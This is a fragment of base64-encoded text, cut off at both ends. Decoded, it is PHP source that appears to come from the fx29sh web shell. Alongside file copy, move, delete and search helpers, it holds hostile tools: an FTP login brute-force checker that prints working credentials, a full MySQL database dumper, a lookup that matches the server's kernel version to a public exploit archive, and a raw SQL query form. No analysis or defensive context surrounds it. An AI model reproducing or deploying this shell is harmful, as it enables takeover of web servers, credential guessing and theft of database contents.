XVlKCRzZXNzX2RhdGFbImNvcHkiXSk7JHNlc3NfZGF0YVsiY3V0Il09YXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTtzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7c29ydCgkc2Vzc19kYXRhWyJjdXQiXSk7aWYoJGFjdCE9ImNvcHkiKXtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdil7aWYoJHNlc3NfZGF0YVsiY29weSJdWyRrXT09JHYpe3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pO319fWVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdil7aWYoJHNlc3NfZGF0YVsiY3V0Il1bJGtdPT0kdil7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX19ZnVuY3Rpb24gZngyOV9zZXNzX3B1dCgkZGF0YSl7Z2xvYmFsICRzZXNzX2Nvb2tpZTtnbG9iYWwgJHNlc3NfZGF0YTtmeDI5X2J1ZmZfcHJlcGFyZSgpOyRzZXNzX2RhdGE9JGRhdGE7JGRhdGE9c2VyaWFsaXplKCRkYXRhKTtzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTt9ZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpeyRkPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7aWYoc3Vic3RyKCRkLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyRkLj1ESVJFQ1RPUllfU0VQQVJBVE9SO30kaD1vcGVuZGlyKCRkKTt3aGlsZSgoJG89cmVhZGRpcigkaCkpIT09RkFMU0Upe2lmKCgkbyE9Ii4iKSBhbmQgKCRvIT0iLi4iKSl7aWYoIWlzX2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSl7JHJldD1jb3B5KCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fWVsc2UgeyRyZXQ9bWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7ZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9aWYoISRyZXQpe3JldHVybiAkcmV0O319fWNsb3NlZGlyKCRoKTtyZXR1cm4gVFJVRTt9ZnVuY3Rpb24gZnNfY29weV9vYmooJGQsJHQpeyRkPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7JHQ9c3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTtpZighaXNfZGlyKGRpcm5hbWUoJHQpKSl7bWtkaXIoZGlybmFtZSgkdCkpO31pZihpc19kaXIoJGQpKXtpZihzdWJzdHIoJGQsLTEgKSE9RElSRUNUT1JZX1NFUEFSQVRPUil7JGQuPURJUkVDVE9SWV9TRVBBUkFUT1I7fWlmKHN1YnN0cigkdCwtMSApIT1ESVJFQ1RPUllfU0VQQVJBVE9SKXskdC49RElSRUNUT1JZX1NFUEFSQVRPUjt9cmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTt9ZWxzZWlmKGlzX2ZpbGUoJGQpKXtyZXR1cm4gY29weSgkZCwkdCk7fWVsc2Uge3JldHVybiBGQUxTRTt9fWZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KXskaD1vcGVuZGlyKCRkKTtpZighaXNfZGlyKCR0KSl7bWtkaXIoJHQpO313aGlsZSgoJG89cmVhZGRpcigkaCkpIT09RkFMU0Upe2lmKCgkbyE9Ii4iKSBhbmQgKCRvIT0iLi4iKSl7JHJldD1UUlVFO2lmKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpeyRyZXQ9Y29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO31lbHNlIHtpZihta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSl7JHJldD1GQUxTRTt9fWlmKCEkcmV0KXtyZXR1cm4gJHJldDt9fX1jbG9zZWRpcigkaCk7cmV0dXJuIFRSVUU7fWZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KXskZD1zdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyR0PXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7aWYoaXNfZGlyKCRkKSl7aWYoc3Vic3RyKCRkLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyRkLj1ESVJFQ1RPUllfU0VQQVJBVE9SO31pZihzdWJzdHIoJHQsLTEgKSE9RElSRUNUT1JZX1NFUEFSQVRPUil7JHQuPURJUkVDVE9SWV9TRVBBUkFUT1I7fXJldHVybiBmc19tb3ZlX2RpcigkZCwkdCk7fWVsc2VpZihpc19maWxlKCRkKSl7aWYoY29weSgkZCwkdCkpe3JldHVybiB1bmxpbmsoJGQpO31lbHNlIHt1bmxpbmsoJHQpO3JldHVybiBGQUxTRTt9fWVsc2Uge3JldHVybiBGQUxTRTt9fWZ1bmN0aW9uIGZzX3JtZGlyKCRkKXskaD1vcGVuZGlyKCRkKTt3aGlsZSgoJG89cmVhZGRpcigkaCkpIT09RkFMU0Upe2lmKCgkbyE9Ii4iKSBhbmQgKCRvIT0iLi4iKSl7aWYoIWlzX2RpcigkZC4kbykpe3VubGluaygkZC4kbyk7fWVsc2Uge2ZzX3JtZGlyKCRkLiRvLkRJUkVDVE9SWV9TRVBBUkFUT1IpO3JtZGlyKCRkLiRvKTt9fX1jbG9zZWRpcigkaCk7cm1kaXIoJGQpO3JldHVybiAhaXNfZGlyKCRkKTt9ZnVuY3Rpb24gZnNfcm1vYmooJG8peyRvPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7aWYoaXNfZGlyKCRvKSl7aWYoc3Vic3RyKCRvLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyRvLj1ESVJFQ1RPUllfU0VQQVJBVE9SO31yZXR1cm4gZnNfcm1kaXIoJG8pO31lbHNlaWYoaXNfZmlsZSgkbykpe3JldHVybiB1bmxpbmsoJG8pO31lbHNlIHtyZXR1cm4gRkFMU0U7fX1mdW5jdGlvbiBmeDI5c2hleGl0KCl7Z2xvYmFsICRnemlwZW5jb2RlLCRmdDtpZighaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpeyR2PUBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7QG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTtlY2hvICR2O0BvYl9lbmRfZmx1c2goKTt9ZXhpdDt9ZnVuY3Rpb24gZngyOWZzZWFyY2goJGQpe2dsb2JhbCAkZm91bmQsJGZvdW5kX2QsJGZvdW5kX2YsJHNlYXJjaF9pX2YsJHNlYXJjaF9pX2QsJGE7aWYoc3Vic3RyKCRkLC0xICkhPURJUkVDVE9SWV9TRVBBUkFUT1IpeyRkLj1ESVJFQ1RPUllfU0VQQVJBVE9SO30kaD1vcGVuZGlyKCRkKTt3aGlsZSgoJGY9cmVhZGRpcigkaCkpIT09RkFMU0Upe2lmKCRmIT0iLiIgJiYgJGYhPSIuLiIpeyRib29sPShlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSE9PUZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpO2lmKGlzX2RpcigkZC4kZikpeyRzZWFyY2hfaV9kKys7aWYoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKXskZm91bmRbXT0kZC4kZjskZm91bmRfZCsrO31pZighaXNfbGluaygkZC4kZikpe2Z4Mjlmc2VhcmNoKCRkLiRmKTt9fWVsc2UgeyRzZWFyY2hfaV9mKys7aWYoJGJvb2wpe2lmKCFlbXB0eSgkYVsidGV4dCJdKSl7JHI9QGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTtpZigkYVsidGV4dF93d28iXSl7JGFbInRleHQiXT0iICIudHJpbSgkYVsidGV4dCJdKS4iICI7fWlmKCEkYVsidGV4dF9jcyJdKXskYVsidGV4dCJdPXN0cnRvbG93ZXIoJGFbInRleHQiXSk7JHI9c3RydG9sb3dlcigkcik7fWlmKCRhWyJ0ZXh0X3JlZ2V4cCJdKXskYm9vbD1lcmVnKCRhWyJ0ZXh0Il0sJHIpO31lbHNlIHskYm9vbD1zdHJwb3MoIiAiLiRyLCRhWyJ0ZXh0Il0sMSApO31pZigkYVsidGV4dF9ub3QiXSl7JGJvb2w9ISRib29sO31pZigkYm9vbCl7JGZvdW5kW109JGQuJGY7JGZvdW5kX2YrKzt9fWVsc2UgeyRmb3VuZFtdPSRkLiRmOyRmb3VuZF9mKys7fX19fX1jbG9zZWRpcigkaCk7fWZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpe2dsb2JhbCAkdjtyZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwkYlskdl0pO31mdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKXtpZighaXNfcmVhZGFibGUoJG8pKXtyZXR1cm4gIjxmb250IGNsYXNzPXJlZD4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO31lbHNlaWYoIWlzX3dyaXRhYmxlKCRvKSl7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO31lbHNlIHtyZXR1cm4gIjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fX1mdW5jdGlvbiB2aWV3X3Blcm1zKCRtb2RlKXtpZigoJG1vZGUmMHhjMDAwICk9PT0weGMwMDAgKXskdHlwZT0icyI7fWVsc2VpZigoJG1vZGUmMHg0MDAwICk9PT0weDQwMDAgKXskdHlwZT0iZCI7fWVsc2VpZigoJG1vZGUmMHhhMDAwICk9PT0weGEwMDAgKXskdHlwZT0ibCI7fWVsc2VpZigoJG1vZGUmMHg4MDAwICk9PT0weDgwMDAgKXskdHlwZT0iLSI7fWVsc2VpZigoJG1vZGUmMHg2MDAwICk9PT0weDYwMDAgKXskdHlwZT0iYiI7fWVsc2VpZigoJG1vZGUmMHgyMDAwICk9PT0weDIwMDAgKXskdHlwZT0iYyI7fWVsc2VpZigoJG1vZGUmMHgxMDAwICk9PT0weDEwMDAgKXskdHlwZT0icCI7fWVsc2UgeyR0eXBlPSI/Ijt9JG93bmVyWyJyZWFkIl09KCRtb2RlJjAwNDAwICk/InIiOiItIjskb3duZXJbIndyaXRlIl09KCRtb2RlJjAwMjAwICk/InciOiItIjskb3duZXJbImV4ZWN1dGUiXT0oJG1vZGUmMDAxMDAgKT8ieCI6Ii0iOyRncm91cFsicmVhZCJdPSgkbW9kZSYwMDA0MCApPyJyIjoiLSI7JGdyb3VwWyJ3cml0ZSJdPSgkbW9kZSYwMDAyMCApPyJ3IjoiLSI7JGdyb3VwWyJleGVjdXRlIl09KCRtb2RlJjAwMDEwICk/IngiOiItIjskd29ybGRbInJlYWQiXT0oJG1vZGUmMDAwMDQgKT8iciI6Ii0iOyR3b3JsZFsid3JpdGUiXT0oJG1vZGUmMDAwMDIgKT8idyI6Ii0iOyR3b3JsZFsiZXhlY3V0ZSJdPSgkbW9kZSYwMDAwMSApPyJ4IjoiLSI7aWYoJG1vZGUmMHg4MDAgKXskb3duZXJbImV4ZWN1dGUiXT0oJG93bmVyWyJleGVjdXRlIl09PSJ4Iik/InMiOiJTIjt9aWYoJG1vZGUmMHg0MDAgKXskZ3JvdXBbImV4ZWN1dGUiXT0oJGdyb3VwWyJleGVjdXRlIl09PSJ4Iik/InMiOiJTIjt9aWYoJG1vZGUmMHgyMDAgKXskd29ybGRbImV4ZWN1dGUiXT0oJHdvcmxkWyJleGVjdXRlIl09PSJ4Iik/InQiOiJUIjt9cmV0dXJuICR0eXBlLmpvaW4oIiIsJG93bmVyKS5qb2luKCIiLCRncm91cCkuam9pbigiIiwkd29ybGQpO31mdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpeyRvbmU9aW50dmFsKCRzb3J0KTskc2Vjb25kPXN1YnN0cigkc29ydCwtMSApO2lmKCRzZWNvbmQhPSJkIil7JHNlY29uZD0iYSI7fXJldHVybiBhcnJheSgkb25lLCRzZWNvbmQpO31mdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSl7aWYoKCRtb2RlJjB4YzAwMCApPT09MHhjMDAwICkkdD0icyI7ZWxzZWlmKCgkbW9kZSYweDQwMDAgKT09PTB4NDAwMCApJHQ9ImQiO2Vsc2VpZigoJG1vZGUmMHhhMDAwICk9PT0weGEwMDAgKSR0PSJsIjtlbHNlaWYoKCRtb2RlJjB4ODAwMCApPT09MHg4MDAwICkkdD0iLSI7ZWxzZWlmKCgkbW9kZSYweDYwMDAgKT09PTB4NjAwMCApJHQ9ImIiO2Vsc2VpZigoJG1vZGUmMHgyMDAwICk9PT0weDIwMDAgKSR0PSJjIjtlbHNlaWYoKCRtb2RlJjB4MTAwMCApPT09MHgxMDAwICkkdD0icCI7ZWxzZSAkdD0iPyI7JG9bInIiXT0oJG1vZGUmMDA0MDAgKT4wIDskb1sidyJdPSgkbW9kZSYwMDIwMCApPjAgOyRvWyJ4Il09KCRtb2RlJjAwMTAwICk+MCA7JGdbInIiXT0oJG1vZGUmMDAwNDAgKT4wIDskZ1sidyJdPSgkbW9kZSYwMDAyMCApPjAgOyRnWyJ4Il09KCRtb2RlJjAwMDEwICk+MCA7JHdbInIiXT0oJG1vZGUmMDAwMDQgKT4wIDskd1sidyJdPSgkbW9kZSYwMDAwMiApPjAgOyR3WyJ4Il09KCRtb2RlJjAwMDAxICk+MCA7cmV0dXJuIGFycmF5KCJ0Ij0+JHQsIm8iPT4kbywiZyI9PiRnLCJ3Ij0+JHcpO31mdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKXtpZihzdHJsZW4oJGNvbnRlbnQpPiRsZW4peyRsZW49Y2VpbCgkbGVuLzIgKS0yIDtyZXR1cm4gc3Vic3RyKCRjb250ZW50LDAgLCRsZW4pLiIuLi4iLnN1YnN0cigkY29udGVudCwtJGxlbik7fWVsc2Uge3JldHVybiAkY29udGVudDt9fWZ1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIil7aWYoaXNfYXJyYXkoJGFycikpe2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpe2lmKHN0cnRvdXBwZXIoJGspIT0iR0xPQkFMUyIpc3RyaXBzKCRhcnJbIiRrIl0pO319ZWxzZSB7JGFycj1zdHJpcHNsYXNoZXMoJGFycik7fX1mdW5jdGlvbiBnZXRtaWNyb3RpbWUoKXtsaXN0KCR1c2VjLCRzZWMpPWV4cGxvZGUoIiAiLG1pY3JvdGltZSgpKTtyZXR1cm4gKChmbG9hdCkkdXNlYysoZmxvYXQpJHNlYyk7fWZ1bmN0aW9uIG1pbHcwcm0oKXskTHZlcnNpb249cGhwX3VuYW1lKCJyIik7JE9TVj1waHBfdW5hbWUoInMiKTtpZihlcmVnaSgiTGludXgiLCRPU1YpKXskTHZlcnNpb249c3Vic3RyKCRMdmVyc2lvbiwwICw2ICk7cmV0dXJuICJodHRwOi8vbWlsdzBybS5jb20vc2VhcmNoLnBocD9kb25nPUxpbnV4IEtlcm5lbCAiLiRMdmVyc2lvbjt9ZWxzZSB7JEx2ZXJzaW9uPXN1YnN0cigkTHZlcnNpb24sMCAsMyApO3JldHVybiAiaHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0iLiRPU1YuIiAiLiRMdmVyc2lvbjt9fWZ1bmN0aW9uIGZ4MjlmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKXtpZigkZnFiX29ubHl3aXRoc2gpeyRUUlVFPSghaW5fYXJyYXkoJHNoLGFycmF5KCIvYmluL0ZBTFNFIiwiL3NiaW4vbm9sb2dpbiIpKSk7fWVsc2UgeyRUUlVFPVRSVUU7fWlmKCRUUlVFKXskc29jaz1AZnRwX2Nvbm5lY3QoJGhvc3QsJHBvcnQsJHRpbWVvdXQpO2lmKEBmdHBfbG9naW4oJHNvY2ssJGxvZ2luLCRwYXNzKSl7ZWNobyAiPGEgaHJlZj1cImZ0cDovLyIuJGxvZ2luLiI6Ii4kcGFzcy4iQCIuJGhvc3QuIlwiIHRhcmdldD1cIl9ibGFua1wiPjxiPkNvbm5lY3RlZCB0byAiLiRob3N0LiIgd2l0aCBsb2dpbiBcIiIuJGxvZ2luLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRwYXNzLiJcIjwvYj48L2E+Ljxicj4iO0BvYl9mbHVzaCgpO3JldHVybiBUUlVFO319fWZ1bmN0aW9uIG15c3FsX2R1bXAoJHNldCl7JHNvY2s9JHNldFsic29jayJdOyRkYj0kc2V0WyJkYiJdOyRwcmludD0kc2V0WyJwcmludCJdOyRubDJicj0kc2V0WyJubDJiciJdOyRmaWxlPSRzZXRbImZpbGUiXTskYWRkX2Ryb3A9JHNldFsiYWRkX2Ryb3AiXTskdGFicz0kc2V0WyJ0YWJzIl07JG9ubHl0YWJzPSRzZXRbIm9ubHl0YWJzIl07JHJldD1hcnJheSgpOyRyZXRbImVyciJdPWFycmF5KCk7aWYoIWlzX3Jlc291cmNlKCRzb2NrKSl7ZWNobyAoIkVycm9yOiBcJHNvY2sgaXMgbm90IHZhbGlkIHJlc291cmNlLiIpO31pZihlbXB0eSgkZGIpKXskZGI9ImRiIjt9aWYoZW1wdHkoJHByaW50KSl7JHByaW50PTAgO31pZihlbXB0eSgkbmwyYnIpKXskbmwyYnI9MCA7fWlmKGVtcHR5KCRhZGRfZHJvcCkpeyRhZGRfZHJvcD1UUlVFO31pZihlbXB0eSgkZmlsZSkpeyRmaWxlPSR0bXBfZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiO31pZighaXNfYXJyYXkoJHRhYnMpKXskdGFicz1hcnJheSgpO31pZihlbXB0eSgkYWRkX2Ryb3ApKXskYWRkX2Ryb3A9VFJVRTt9aWYoc2l6ZW9mKCR0YWJzKT09MCApeyRyZXM9bXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsJHNvY2spO2lmKG15c3FsX251bV9yb3dzKCRyZXMpPjAgKXt3aGlsZSgkcm93PW15c3FsX2ZldGNoX3JvdygkcmVzKSl7JHRhYnNbXT0kcm93WzAgXTt9fX0kb3V0PSINCiAgIyBEdW1wZWQgYnkgIi5zaF9uYW1lKCkuIg0KICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiAgIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIg0KICAjIERCOiBcIiIuJGRiLiJcIg0KICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjskYz1jb3VudCgkb25seXRhYnMpO2ZvcmVhY2goJHRhYnMgYXMgJHRhYil7aWYoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpe2lmKCRhZGRfZHJvcCl7JG91dC49IkRST1AgVEFCTEUgSUYgRVhJU1RTIGAiLiR0YWIuImA7XG4iO30kcmVzPW15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwkc29jayk7aWYoISRyZXMpeyRyZXRbImVyciJdW109bXlzcWxfc21hcnRlcnJvcigpO31lbHNlIHskcm93PW15c3FsX2ZldGNoX3JvdygkcmVzKTskb3V0Lj0kcm93WyIxIl0uIjtcblxuIjskcmVzPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsJHNvY2spO2lmKG15c3FsX251bV9yb3dzKCRyZXMpPjAgKXt3aGlsZSgkcm93PW15c3FsX2ZldGNoX2Fzc29jKCRyZXMpKXska2V5cz1pbXBsb2RlKCJgLCBgIixhcnJheV9rZXlzKCRyb3cpKTskdmFsdWVzPWFycmF5X3ZhbHVlcygkcm93KTtmb3JlYWNoKCR2YWx1ZXMgYXMgJGs9PiR2KXskdmFsdWVzWyRrXT1hZGRzbGFzaGVzKCR2KTt9JHZhbHVlcz1pbXBsb2RlKCInLCAnIiwkdmFsdWVzKTskc3FsPSJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOyRvdXQuPSRzcWw7fX19fX0kb3V0Lj0iIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iO2lmKCRmaWxlKXskZnA9Zm9wZW4oJGZpbGUsInciKTtpZighJGZwKXskcmV0WyJlcnIiXVtdPTIgO31lbHNlIHtmd3JpdGUoJGZwLCRvdXQpO2ZjbG9zZSgkZnApO319aWYoJHByaW50KXtpZigkbmwyYnIpe2VjaG8gbmwyYnIoJG91dCk7fWVsc2Uge2VjaG8gJG91dDt9fXJldHVybiAkb3V0O31mdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpe2lmKCFpc19hcnJheSgkYXJyYXkpKXskYXJyYXk9YXJyYXkoKTt9JHJlc3VsdD0iIjtmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpeyR2YWx1ZT0iIjtpZighZW1wdHkoJGZ1bmN0c1ska10pKXskdmFsdWUuPSRmdW5jdHNbJGtdLiIoIjt9JHZhbHVlLj0iJyIuYWRkc2xhc2hlcygkdikuIiciO2lmKCFlbXB0eSgkZnVuY3RzWyRrXSkpeyR2YWx1ZS49IikiO30kcmVzdWx0Lj0iYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwO30kcmVzdWx0PXN1YnN0cigkcmVzdWx0LDAgLHN0cmxlbigkcmVzdWx0KS1zdHJsZW4oJHNlcCkpO3JldHVybiAkcmVzdWx0O31mdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKXtpZigkc29jayl7JHJlc3VsdD1teXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO31lbHNlIHskcmVzdWx0PW15c3FsX3F1ZXJ5KCRxdWVyeSk7fSRhcnJheT1hcnJheSgpO3doaWxlKCRyb3c9bXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpeyRhcnJheVtdPSRyb3c7fW15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpO3JldHVybiAkYXJyYXk7fWZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHNvY2spe2lmKCRzb2NrKXskZXJyb3I9bXlzcWxfZXJyb3IoJHNvY2spO31lbHNlIHskZXJyb3I9bXlzcWxfZXJyb3IoKTt9JGVycm9yPWh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTtyZXR1cm4gJGVycm9yO31mdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCl7Z2xvYmFsICRzdWJtaXQsJHNxbF9hY3QsJHNxbF9xdWVyeSwkc3FsX3F1ZXJ5X3Jlc3VsdCwkc3FsX2NvbmZpcm0sJHNxbF9xdWVyeV9lcnJvciwkdGJsX3N0cnVjdDtpZigoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSl7aWYoISRzcWxfcXVlcnlfZXJyb3IpeyRzcWxfcXVlcnlfZXJyb3I9IlF1ZXJ5IHdhcyBlbXB0eSI7fWVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fWlmKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSl7JHNxbF9hY3Q9JHNxbF9nb3RvO31pZigoISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpe2VjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIG5hbWU9XCJmeDI5c2hfc3FscXVlcnlcIiBtZXRob2Q9XCJwb3N0XCI+PGI+IjtpZigoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpe2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fWVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fWVjaG8gIjo8L2I+PGJyPjxicj48dGV4dGFyZWEgbmFtZT1zcWxfcXVlcnkgY29scz0xMDAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkuIjwvdGV4dGFyZWE+PGJyPjxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF9hY3QgdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iO2lmKCR0Ymxfc3RydWN0KXtlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+Ijtmb3JlYWNoKCR0Ymxfc3RydWN0IGFzICRmaWVsZCl7JG5hbWU9JGZpZWxkWyJGaWVsZCJdO2VjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuZngyOXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1lLiJgJztcIj48Yj4iLiRuYW1lLiI8L2I+PC9hPjxicj4iO31lY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iO319aWYoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKXskc3FsX3F1ZXJ5PSRzcWxfbGFzdF9xdWVyeTt9fWZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpeyRzcWw9IkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjtpZigkc29jayl7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO31lbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fX1mdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpeyRxdWVyeT10cmltKCRxdWVyeSk7JGFycj1leHBsb2RlKCIgIiwkcXVlcnkpOyR0eXBlcz1hcnJheSgiU0VMRUNUIj0+YXJyYXkoMyAsMSApLCJTSE9XIj0+YXJyYXkoMiAsMSApLCJERUxFVEUiPT5hcnJheSgxICksIkRST1AiPT5hcnJheSgxICkpOyRyZXN1bHQ9YXJyYXkoKTskb3A9c3RydG91cHBlcigkYXJyWzAgXSk7aWYoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKXskcmVzdWx0WyJwcm9wZXJ0aW9ucyJdPSR0eXBlc1skb3BdOyRyZXN1bHRbInF1ZXJ5Il09JHF1ZXJ5O2lmKCR0eXBlc1skb3BdPT0yICl7Zm9yZWFjaCgkYXJyIGFzICRrPT4kdil7aWYoc3RydG91cHBlcigkdik9PSJMSU1JVCIpeyRyZXN1bHRbImxpbWl0Il09JGFyclskaysxIF07JHJlc3VsdFsibGltaXQiXT1leHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTtpZihjb3VudCgkcmVzdWx0WyJsaW1pdCJdKT09MSApeyRyZXN1bHRbImxpbWl0Il09YXJyYXkoMCAsJHJlc3VsdFsibGltaXQiXVswIF0pO311bnNldCgkYXJyWyRrXSwkYXJyWyRrKzEgXSk7fX19fWVsc2Uge3JldHVybiBGQUxTRTt9fWZ